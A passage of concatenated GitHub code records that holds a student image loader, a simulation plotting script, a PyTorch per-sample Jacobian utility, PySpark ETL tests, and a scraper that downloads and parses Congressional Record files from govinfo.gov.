"LeetCode/桶排序/1030. 距离顺序排列矩阵单元格.py", "file_name": "1030. 距离顺序排列矩阵单元格.py", "file_ext": "py", "file_size_in_byte": 1951, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.List", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "29034399338", "text": "\"\"\"\nCourse :\n GTI770 — Systèmes intelligents et apprentissage machine\n\nProject :\n Lab # 3 — Machines à vecteur de support et réseaux neuronaux\n\nStudents :\n Alexandre Laroche - LARA12078907\n Marc-Antoine Charland - CHAM16059609\n Jonathan Croteau-Dicaire - CROJ10109402\n\nGroup :\n GTI770-É19-02\n\"\"\"\n\nimport cv2\nimport csv\nimport os\nimport src.constants as constants\n\ndef load_processed_imgs(max_load=None):\n\n imgs = []\n lbls = []\n\n with open(constants.IMGS_LABELS_FILE_PATH) as file:\n reader = csv.reader(file, delimiter=',')\n\n # skip the header\n next(reader)\n\n img_count = 0\n\n for row in reader:\n filename = row[0]\n label = row[1]\n\n filepath = os.path.join(os.path.abspath(''), constants.PROCESSED_IMG_PATH + '%s.jpg' %filename)\n\n if os.path.isfile(filepath):\n\n if max_load is None or img_count < max_load:\n img = cv2.imread(filepath)\n imgs.append(img)\n lbls.append(label)\n \n if max_load is not None :\n img_count += 1\n\n return imgs, lbls\n", "repo_name": "EngineerLaroche/CombinePretreatment", "sub_path": "src/imageLoader.py", "file_name": "imageLoader.py", "file_ext": "py", "file_size_in_byte": 1182, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "src.constants.IMGS_LABELS_FILE_PATH", "line_number": 27, "usage_type": "attribute"}, {"api_name": "src.constants", "line_number": 27, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 39, "usage_type": "call"}, {"api_name": "src.constants.PROCESSED_IMG_PATH", "line_number": 39, "usage_type": "attribute"}, {"api_name": "src.constants", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "14803941750", "text": "import os\nimport matplotlib.pyplot as plt\n\nfrom dirs import DIR_DATA_SIMU\nfrom utils import Vehicule\n\n\ndef main():\n # Prepating plots\n fig = plt.figure()\n plts = []\n for i in range(2, 7):\n sub_plt = fig.add_subplot(2, 3, i-1)\n sub_plt.grid(True)\n sub_plt.set_title(\"Car {id}\".format(id=i))\n sub_plt.set_xlabel('Long dist (m)')\n sub_plt.set_ylabel('Lat dist (m)')\n plts.append(sub_plt)\n\n for subject in os.listdir(DIR_DATA_SIMU):\n try:\n ego, *others = Vehicule.load_last_pose(subject, \"BAU_Alt_ThierryLikes_changeGreen\", *list(range(1,7)))\n except IOError:\n continue\n\n for i, car in enumerate(others):\n plts[i].plot(ego.dist_long(car),ego.dist_lat(car), 'ro')\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()", "repo_name": "Anais-Hoarau/BING_GUI_Plugins", "sub_path": "pynd/scripts/Matt/verify_automated_freeze.py", "file_name": "verify_automated_freeze.py", "file_ext": "py", "file_size_in_byte": 825, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 20, "usage_type": "call"}, {"api_name": "dirs.DIR_DATA_SIMU", "line_number": 20, "usage_type": "argument"}, {"api_name": "utils.Vehicule.load_last_pose", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.Vehicule", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}]} +{"seq_id": "15864431116", "text": "import torch\nfrom torch import nn\nimport types\nfrom functools import partial\n\n\ndef extend(model, input_shape):\n if not isinstance(model, nn.Module):\n raise TypeError(\"model should be a nn.Module\")\n if not isinstance(input_shape, tuple):\n raise TypeError(\"input_shape should be a tuple\")\n\n device = next(model.parameters()).device\n\n weight_input_list = []\n weight_output_list = []\n weight_repeat_list = []\n bias_output_list = []\n bias_repeat_list = []\n\n x = torch.zeros((1,) + input_shape, device=device)\n with torch.no_grad():\n for module in model.children():\n y = module(x)\n if sum(p.numel() for p in module.parameters()):\n # for all layers with parameters\n\n # store parameters and clear bias for future calculation\n if module.weight is not None:\n initial_weight = module.weight.data.clone()\n if module.bias is not None:\n initial_bias = module.bias.data.clone()\n module.bias.data = torch.zeros_like(module.bias)\n\n if module.weight is not None:\n Nweight = module.weight.numel()\n weight_input = []\n weight_output = []\n weight_repeat = torch.zeros(\n Nweight, dtype=torch.long, device=device\n )\n Xeye = torch.eye(x.numel(), device=device).reshape(\n (-1,) + x.shape[1:]\n )\n for i in range(Nweight):\n weight = torch.zeros(Nweight, device=device)\n weight[i] = 1.0\n module.weight.data = weight.reshape(module.weight.shape)\n # output of module is of dimension (j,k)\n out = module(Xeye).reshape(x.numel(), y.numel())\n if (out[out.abs() > 1e-5] - 1.0).abs().max() > 1e-5:\n raise RuntimeError(\n \"the network is not written in the standard form, see https://github.com/ChenAo-Phys/pytorch-Jacobian\"\n )\n nonzero = torch.nonzero(out > 0.5, as_tuple=False)\n weight_input.append(nonzero[:, 0])\n weight_output.append(nonzero[:, 1])\n weight_repeat[i] = nonzero.shape[0]\n weight_input_list.append(torch.cat(weight_input, dim=0))\n weight_output_list.append(torch.cat(weight_output, dim=0))\n weight_repeat_list.append(weight_repeat)\n module.weight.data = initial_weight\n else:\n weight_input_list.append(None)\n weight_output_list.append(None)\n weight_repeat_list.append(None)\n\n if module.bias is not None:\n Nbias = module.bias.numel()\n bias_output = []\n bias_repeat = torch.zeros(Nbias, dtype=torch.long, device=device)\n for i in range(Nbias):\n bias = torch.zeros(Nbias, device=device)\n bias[i] = 1.0\n module.bias.data = bias.reshape(module.bias.shape)\n out = module(x).reshape(-1)\n if (out[out.abs() > 1e-5] - 1.0).abs().max() > 1e-5:\n raise RuntimeError(\n \"the network is not written in the standard form, see https://github.com/ChenAo-Phys/pytorch-Jacobian\"\n )\n nonzero = torch.nonzero(out > 0.5, as_tuple=False)\n bias_output.append(nonzero[:, 0])\n bias_repeat[i] = nonzero.shape[0]\n bias_output_list.append(torch.cat(bias_output, dim=0))\n bias_repeat_list.append(bias_repeat)\n module.bias.data = initial_bias\n else:\n bias_output_list.append(None)\n bias_repeat_list.append(None)\n\n x = torch.zeros_like(y)\n\n if not hasattr(model, \"_Jacobian_shape_dict\"):\n model._Jacobian_shape_dict = {}\n model._Jacobian_shape_dict[input_shape] = (\n weight_input_list,\n weight_output_list,\n weight_repeat_list,\n bias_output_list,\n bias_repeat_list,\n )\n\n # assign jacobian method to model\n def jacobian(self, as_tuple=False):\n shape = self.input_shape\n if hasattr(self, \"_Jacobian_shape_dict\") and shape in self._Jacobian_shape_dict:\n (\n weight_input_list,\n weight_output_list,\n weight_repeat_list,\n bias_output_list,\n bias_repeat_list,\n ) = self._Jacobian_shape_dict[shape]\n else:\n raise RuntimeError(\n \"model or specific input shape is not extended for jacobian calculation\"\n )\n\n device = next(model.parameters()).device\n jac = []\n layer = 0\n for module in self.children():\n if sum(p.numel() for p in module.parameters()):\n weight_input = weight_input_list[layer]\n weight_output = weight_output_list[layer]\n weight_repeat = weight_repeat_list[layer]\n bias_output = bias_output_list[layer]\n bias_repeat = bias_repeat_list[layer]\n x = self.x_in[layer]\n N = x.shape[0]\n dz_dy = self.gradient[layer].reshape(N, -1)\n\n if weight_repeat is not None:\n Nweight = weight_repeat.shape[0]\n dz_dy_select = dz_dy[:, weight_output]\n x_select = x.reshape(N, -1)[:, weight_input]\n repeat = torch.repeat_interleave(weight_repeat)\n dz_dW = torch.zeros(N, Nweight, device=device).index_add_(\n 1, repeat, dz_dy_select * x_select\n )\n if as_tuple:\n dz_dW = dz_dW.reshape((N,) + module.weight.shape)\n jac.append(dz_dW)\n if bias_repeat is not None:\n Nbias = bias_repeat.shape[0]\n dz_dy_select = dz_dy[:, bias_output]\n repeat = torch.repeat_interleave(bias_repeat)\n dz_db = torch.zeros(N, Nbias, device=device).index_add_(\n 1, repeat, dz_dy_select\n )\n if as_tuple:\n dz_db = dz_db.reshape((N,) + module.bias.shape)\n jac.append(dz_db)\n layer += 1\n\n if as_tuple:\n return tuple(jac)\n else:\n return torch.cat(jac, dim=1)\n\n if not hasattr(model, \"jacobian\"):\n model.jacobian = types.MethodType(jacobian, model)\n\n\nclass JacobianMode:\n def __init__(self, model):\n self.model = model\n if not isinstance(model, nn.Module):\n raise TypeError(\"model should be a nn.Module\")\n\n def __enter__(self):\n model = self.model\n model.x_in = []\n model.gradient = []\n self.forward_pre_hook = []\n self.backward_hook = []\n\n def record_input_shape(self, input):\n model.input_shape = input[0].shape[1:]\n\n def record_forward(self, input, layer):\n model.x_in[layer] = input[0].detach()\n\n def record_backward(self, grad_input, grad_output, layer):\n model.gradient[layer] = grad_output[0]\n\n module0 = next(model.children())\n self.first_forward_hook = module0.register_forward_pre_hook(record_input_shape)\n\n layer = 0\n for module in model.children():\n if sum(p.numel() for p in module.parameters()):\n model.x_in.append(None)\n model.gradient.append(None)\n self.forward_pre_hook.append(\n module.register_forward_pre_hook(\n partial(record_forward, layer=layer)\n )\n )\n self.backward_hook.append(\n module.register_backward_hook(partial(record_backward, layer=layer))\n )\n layer += 1\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.first_forward_hook.remove()\n for hook in self.forward_pre_hook:\n hook.remove()\n for hook in self.backward_hook:\n hook.remove()\n\n del self.model.input_shape\n del self.model.x_in\n del self.model.gradient\n", "repo_name": "ChenAo-Phys/pytorch-Jacobian", "sub_path": "jacobian.py", "file_name": "jacobian.py", "file_ext": "py", "file_size_in_byte": 8736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 40, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.zeros", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.eye", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nonzero", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 71, "usage_type": "attribute"}, {"api_name": "torch.zeros", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nonzero", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.repeat_interleave", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 138, "usage_type": "call"}, {"api_name": "torch.repeat_interleave", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 148, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 159, "usage_type": "call"}, {"api_name": "types.MethodType", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 168, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 168, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 197, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 201, "usage_type": "call"}]} +{"seq_id": "24558153442", "text": "from datetime import datetime\nimport pathlib\nimport pyspark.sql.functions as F\nimport sys\n\ntest_dir = pathlib.Path(__file__).parent.resolve()\nproject_dir = test_dir.parent.resolve()\nsys.path.insert(0, str(project_dir))\nprint(sys.path)\n\nfrom etl import create_songs_table, create_artists_table, create_users_table, create_time_table, create_songplays_table\n\nsong_data_path = f'{test_dir}/data/song_data'\nlog_data_path = f'{test_dir}/data/log_data'\noutput_path = f'{test_dir}/data/data_lake'\n\ndef test_create_songs_table(spark, clear_data_lake):\n # load song dataset\n song_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(song_data_path)\n # create songs table\n create_songs_table(song_dataset, output_path)\n # assertions\n # column equality?\n songs_table = spark.read.parquet(f\"{output_path}/songs.parquet\")\n for col in songs_table.columns:\n assert col in ['song_id', 'title', 'artist_id', 'year', 'duration']\n # to test quality of data being inserted, I'd need more control over dataset\n # use a contrived dataset with known edge cases to see if they get handled\n # for now, i'd prefer to just see that each create_table function writes correctly\n # almost easier to read parquet in notebook and visually inspect it\n\n\ndef test_create_artists_table(spark, clear_data_lake):\n song_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(song_data_path)\n create_artists_table(song_dataset, output_path)\n artists_table = spark.read.parquet(f\"{output_path}/artists.parquet\")\n for col in artists_table.columns:\n assert col in ['artist_id', 'name', 'location', 'latitude', 'longitude']\n\n\ndef test_create_users_table(spark, clear_data_lake):\n log_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(log_data_path)\n log_dataset = log_dataset.filter((log_dataset.page == 'NextSong'))\n create_users_table(log_dataset, output_path)\n users_table = spark.read.parquet(f\"{output_path}/users.parquet\")\n for col in users_table.columns:\n assert col in ['user_id', 'first_name', 'last_name', 'gender', 'level']\n\n\ndef test_create_time_table(spark, clear_data_lake):\n log_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(log_data_path)\n log_dataset = log_dataset.filter((log_dataset.page == 'NextSong'))\n get_timestamp = F.udf(lambda x: datetime.fromtimestamp(x/1000).strftime('%Y-%m-%d %H:%M:%S.%f'))\n log_dataset = log_dataset.withColumn('start_time', get_timestamp(log_dataset.ts))\n create_time_table(log_dataset, output_path)\n time_table = spark.read.parquet(f\"{output_path}/time.parquet\")\n for col in time_table.columns:\n assert col in ['start_time', 'hour', 'day', 'week', 'month', 'year', 'weekday']\n\n\ndef test_create_songplays_table(spark, clear_data_lake):\n song_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(song_data_path)\n log_dataset = spark.read.format(\"json\").option(\"recursiveFileLookup\", \"true\").load(log_data_path)\n log_dataset = log_dataset.filter((log_dataset.page == 'NextSong'))\n get_timestamp = F.udf(lambda x: datetime.fromtimestamp(x/1000).strftime('%Y-%m-%d %H:%M:%S.%f'))\n log_dataset = log_dataset.withColumn('start_time', get_timestamp(log_dataset.ts))\n create_songplays_table(spark, song_dataset, log_dataset, output_path)\n songplays_table = spark.read.parquet(f\"{output_path}/songplays.parquet\")\n for col in songplays_table.columns:\n assert col in ['start_time', 'user_id', 'level', 'song_id', 'artist_id',\n 'session_id', 'location', 'user_agent', 'songplay_id', 'year', 'month']\n", "repo_name": "JoeBlackman/data-lake", "sub_path": "tests/test_etl.py", "file_name": "test_etl.py", "file_ext": "py", "file_size_in_byte": 3681, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pathlib.Path", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path.insert", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "etl.create_songs_table", "line_number": 21, "usage_type": "call"}, {"api_name": "etl.create_artists_table", "line_number": 35, "usage_type": "call"}, {"api_name": "etl.create_users_table", "line_number": 44, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 53, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 53, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 53, "usage_type": "name"}, {"api_name": "etl.create_time_table", "line_number": 55, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 65, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 65, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 65, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 65, "usage_type": "name"}, {"api_name": "etl.create_songplays_table", "line_number": 67, "usage_type": "call"}]} +{"seq_id": "9168733285", "text": "# start to make packages for the parsing of the CR xml files\nimport os\nimport errno\nimport requests\nfrom bs4 import BeautifulSoup\nimport json\nimport re\nimport urllib.request\nimport zipfile as zp\nimport shutil \nimport io\n\n# Download the zip file for the current congressional day\n# dateString is the same date string as sent to getCR\n# useCache is whether or not to see if the zip file is downloaded/save the downloaded file\n# extractZipIfFileExists, only relevant if useCache is True. If this parameter is set to True,\n# re-extract the cached zip file to the proper directory, if false return without extracting\ndef downloadAndExtractZipFile(dateString, useCache=True, extractZipIfFileExists=True):\n urlOfZipFile = 'https://www.govinfo.gov/content/pkg/CREC-' + dateString + '.zip'\n if useCache == False:\n zipfileHandle = urllib.request.urlopen(urlOfZipFile)\n zipfile = zipfileHandle.read()\n else:\n fileSavePath = urlOfZipFile[24:len(urlOfZipFile)]\n if os.path.exists(os.path.dirname(fileSavePath)) and os.path.exists(fileSavePath):\n # handle getting cached file\n if extractZipIfFileExists is False:\n return\n cachedZIPFile = open(fileSavePath, \"rb\")\n zipfile = cachedZIPFile.read()\n cachedZIPFile.close()\n else:\n headers = {\n 'User-Agent': 'My Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n }\n req = urllib.request.Request(urlOfZipFile, headers=headers)\n zipfileHandle = urllib.request.urlopen(req)\n zipfile = zipfileHandle.read()\n try:\n os.makedirs(os.path.dirname(fileSavePath))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise fileExists('Tried to create a directory that later existed. This is probably a race condition where another instance Zip file finished first.')\n # else:\n # raise fileExists('Tried to create a directory that did not exist and now exists. Something is wrong in requestHTMLFile.')\n with open(fileSavePath, \"wb\") as f:\n f.write(zipfile)\n file_cr_zip = io.BytesIO(zipfile)\n pyZipHandle = zp.ZipFile(file_cr_zip,mode='r')\n try:\n os.makedirs(os.path.dirname('tmp'))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n pass # this is okay\n else:\n pass\n # probably handle this\n pyZipHandle.extractall(path='tmp')\n try:\n shutil.rmtree('content/pkg/'+'CREC-'+dateString+'/html/')\n except FileNotFoundError as exc:\n try:\n os.makedirs(os.path.dirname('content/pkg/'+'CREC-'+dateString+'/'))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n pass # probably ok\n else:\n pass\n # probably handle this\n try:\n os.makedirs(os.path.dirname('metadata/pkg/'+'CREC-'+dateString+'/'))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n pass # this is okay\n else:\n pass\n # probably handle this\n shutil.move('tmp/CREC-'+dateString+'/html', 'content/pkg/'+'CREC-'+dateString+'/html/')\n shutil.move('tmp/CREC-'+dateString+'/mods.xml', 'metadata/pkg/'+'CREC-'+dateString+'/mods.xml')\n # try:\n # shutil.rmtree('tmp')\n # except OSError as e:\n # print(\"Error: %s : %s\" % (dir_path, e.strerror))\n\n\n\n# Download the htm files referenced in the main file for that day. Cache them \n# so you do not need to keep redownloading them. Make sure path of this file \n# is the project directory, otherwise you will need to modify .gitignore or \n# your personal exclude file\ndef requestHTMLFile(url, useCache = True, useZip = True):\n if useCache == False:\n return requests.get(url).content\n else:\n urlSplit = url.split('/')\n if urlSplit[2] != 'www.govinfo.gov':\n raise WrongWebsiteException('htm file is not from govinfo.gov. Aborting.')\n fileSavePath = url[24:len(url)]\n # Check to see if we've already created this file path\n if os.path.exists(os.path.dirname(fileSavePath)) and os.path.exists(fileSavePath):\n # handle getting cached file\n cachedHTMLFile = open(fileSavePath, \"r\")\n cachedHTML = cachedHTMLFile.read()\n cachedHTMLFile.close()\n return cachedHTML\n else:\n # handle caching new file\n downloadHTML = requests.get(url)\n try:\n os.makedirs(os.path.dirname(fileSavePath))\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise fileExists('Tried to create a directory that later existed. This is probably a race condition where another instance downloading CR data finished first.')\n # else:\n # raise fileExists('Tried to create a directory that did not exist and now exists. Something is wrong in requestHTMLFile.')\n with open(fileSavePath, \"w\") as f:\n f.write(downloadHTML.text)\n return downloadHTML.content\n\n#%% Clean section text\ndef clean_section(section):\n '''\n This function takes a section of text and:\n 1. Removes extraneous page numbers\n 2. Removes everything in the header\n 3. Removes some newline spaces\n 4. Replace some newlines with newline + tab\n\n Parameters\n ----------\n section : string\n string of text representing a section in the congressional crecord\n\n Returns\n -------\n cleaned_section : string\n Condensed text without new lines and such\n\n '''\n \n # Remove extraneous page #'s, which appear either as [H123] or [S123]\n page_pattern = re.compile(r\"\"\"\n \\n\\n # identify preceeding newlines to the pages.\n \\[+ # Start with one or more open brackets\n Page # Our string ends with something like [Page H123]]\n \\s # Whitespace\n [HS] # Either 'H' or 'S'\n \\d+ # At least one digit\n \\]+ # Ending bracket(s)\n \\s # Any remaining whitespace before the start of our text\n \"\"\", \n re.VERBOSE | re.MULTILINE)\n cleaned_section = re.sub(page_pattern, ' ', section) # replace above with space.\n \n \n # Remove everything in the header (Congressional Record Volume all the way up to\n # www.gpo.gov\n header_pattern = re.compile(r\"\"\"\n \\[ # Start with an open bracket\n Congressional # Then theterm Congressional Record Volume\n \\s # Include this in case reading the PDF gives us extra white spaces in between words\n Record # Continuation of Congressional Record Volume\n \\s # More undetermined whitespace\n Volume # End of Congressional Record Volume\n .* # Find everything between the beginning and end\n \\[ # Our string ends with something like [www.gpo.gov]\n www.gpo.gov # The URL\n \\] # Closing bracket\n \\n+ # tack on extra newlines\n \\s+ # Any final whitespace\n \"\"\", \n re.VERBOSE | re.MULTILINE | re.DOTALL)\n \n cleaned_section = re.sub(header_pattern, '', cleaned_section)\n \n # Remove some newline spaces\n # remove formatting newlines that do not start new paragraph\n new_line_pattern = re.compile(\"\\n(?=\\S)\")\n cleaned_section = re.sub(new_line_pattern, '', cleaned_section)\n \n # address new paragraph newlines... replace with newline and tab\n new_line_pattern2 = re.compile(\"\\n\\s{2}(?=[A-Z])\")\n cleaned_section = re.sub(new_line_pattern2, '\\n\\t', cleaned_section)\n \n # remove initial space that \"centers\" the title text and any extra \n # newlines at the end\n return cleaned_section.strip()\n\n# actually make a basic parser\ndef parseSection(child_element):\n parsedSection = {}\n try:\n parsedSection['CR_Section'] = child_element.partName.text\n parsedSection['title'] = child_element.title.text\n urlOfReferencedText = child_element.location.find('url',{'displayLabel':\"HTML rendition\"}).text\n parsedSection['url'] = urlOfReferencedText\n # wrap the below function in some kind of cached file checker which will cache the html files it pulls\n html_rend_pull = requestHTMLFile(urlOfReferencedText)\n bs4_html_rend_pull = BeautifulSoup(html_rend_pull, 'html.parser')\n parsedSection['raw_text'] = bs4_html_rend_pull.body.pre.text\n parsedSection['cleaned_text'] = clean_section(parsedSection['raw_text'])\n parsedSection['speakers'] = [name.namePart.text for name in child_element.find_all('name',{'type':\"personal\"})]\n except AttributeError:\n return None\n try:\n parsedSection['citation'] = child_element.find('identifier',{'type':'preferred citation'}).text\n except AttributeError: #probably should be done in a cleaner way so that if the citation is missing code still runs.\n raise CitationError('Missing Preferred Citation in parseSection')\n return parsedSection\n\n# get a specific xml for the congressional record by date\n# in the future, it may be useful to simply get the zip file:\n# https://www.govinfo.gov/content/pkg/CREC-2021-02-24.zip\n# dateString - is in the form \"year-month-day\" with year 4 digits, m/d 2 digits\ndef getCRMetadata(dateString, returnFullDateString = False):\n fullDateString = 'CREC-' + dateString \n urlString = 'https://www.govinfo.gov/metadata/pkg/' + fullDateString + '/mods.xml'\n cr_xml_data = requestHTMLFile(urlString)\n parsed_cr = BeautifulSoup(cr_xml_data, \"xml\")\n mods = list(parsed_cr.children)[0]\n if returnFullDateString == True:\n return mods, fullDateString\n return mods\n\n# parse the metadata and return the list of parsed sections\ndef parseCRMetadata(mods):\n listOfParsedSections = []\n for child in mods:\n name = getattr(child, \"name\", None)\n if name is not None:\n temp = parseSection(child)\n if temp is not None:\n listOfParsedSections.append(temp)\n return listOfParsedSections\n\ndef makeCRJSON(listOfParsedSections):\n listAsJSON = json.dumps(listOfParsedSections)\n return listAsJSON\n\ndef saveCRMetadata(listAsJSON, jsonSavePath):\n try:\n os.makedirs(os.path.dirname(jsonSavePath))\n except FileExistsError:\n #ignore the fact the file exists and overwrite it below\n pass\n with open(jsonSavePath, \"w\") as f:\n f.write(listAsJSON)\n return\n\n# method that invokes all of the above methods, optionally saves file, and returns\n# the parsed data\n# dataString: year-month-date as YYYY-MM-DD\n# savePath, optional, where to save the CR for that day\n# saveFile, optional, whether or not to save file\n# returnAsJSON, optional, whether or not to return json or parsed bs4 file\n# file will not be saved if returnAsJSON is set to false\ndef getCR(dateString, savePath='', returnAsJSON = True, saveFile = True):\n downloadAndExtractZipFile(dateString)\n mods, fullDateString = getCRMetadata(dateString, returnFullDateString = True)\n if savePath == '':\n jsonSavePath = 'json_output/' + fullDateString + '/cr.json'\n else:\n jsonSavePath = savePath\n listOfParsedSections = parseCRMetadata(mods)\n if returnAsJSON == True:\n listAsJSON = makeCRJSON(listOfParsedSections)\n if saveFile == True:\n saveCRMetadata(listAsJSON,jsonSavePath)\n return listAsJSON\n else:\n return listOfParsedSections\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "vikrapivin/congressional-record-analysis", "sub_path": "cr_scraper/parse_cr.py", "file_name": "parse_cr.py", "file_ext": "py", "file_size_in_byte": 12358, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 21, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 21, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 21, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request.Request", "line_number": 36, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 36, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 36, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 37, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 37, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "errno.EEXIST", "line_number": 42, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 48, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 49, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "errno.EEXIST", "line_number": 53, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 60, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "errno.EEXIST", "line_number": 65, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "errno.EEXIST", "line_number": 73, "usage_type": "attribute"}, {"api_name": "shutil.move", "line_number": 78, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 79, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 100, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 108, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "errno.EEXIST", "line_number": 112, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 142, "usage_type": "call"}, {"api_name": "re.VERBOSE", "line_number": 152, "usage_type": "attribute"}, {"api_name": "re.MULTILINE", "line_number": 152, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 153, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 158, "usage_type": "call"}, {"api_name": "re.VERBOSE", "line_number": 172, "usage_type": "attribute"}, 